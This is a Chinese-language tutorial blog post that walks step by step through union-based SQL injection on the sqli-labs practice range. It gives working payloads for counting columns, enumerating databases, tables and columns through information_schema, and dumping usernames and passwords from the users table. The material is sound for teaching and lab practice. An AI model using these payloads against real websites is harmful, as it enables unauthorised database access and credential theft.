本系列文章使用的靶场环境为sqli-labs
环境下载地址:https://github.com/Audi-1/sqli-labs
1.判断注入类型
<code>index.php?id=1*1
index.php?id=1*2
/<code>
![这可能是SQL注入入门最好的文章了(持续跟新二)](http://p2.ttnews.xyz/loading.gif)
id=1
![这可能是SQL注入入门最好的文章了(持续跟新二)](http://p2.ttnews.xyz/loading.gif)
id=2
2.猜字段数
<code>index.php?id=1 order by 4#
index.php?id=1 order by 3#
/<code>
index.php?id=1 order by 4#
index.php?id=1 order by 3#
第一次报错,第二次未报错,说明当前数据库当前表存在3个字段
3.使用联合查询查看页面的显示位
<code>index.php?id=-1 union select 1,2,3#
/<code>
这里需要注意的是id需要是一个数据库中不存在的id,因为只有这样,页面才会显示我们后面联合查询的数据。
4.爆出数据库版本和当前数据库名
<code>index.php?id=-1 union select 1,database(),version()#
/<code>
5.爆出所有数据库
<code>index.php?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata --+
/<code>
所有数据库名
<code>ctftraining,information_schema,mysql,performance_schema,security,test
/<code>
6.爆出当前数据库所有表
<code>index.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+
/<code>
<code>emails,referers,uagents,users
/<code>
7.查询当前数据库users表所有字段
<code>index.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" #
/<code>
image.png
<code>id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
/<code>
9.查询数据
<code>index.php?id=-1 union select 1,group_concat(username),group_concat(password) from users #
/<code>
image.png
成功读取数据库数据。
閱讀更多 夏了茶糜7 的文章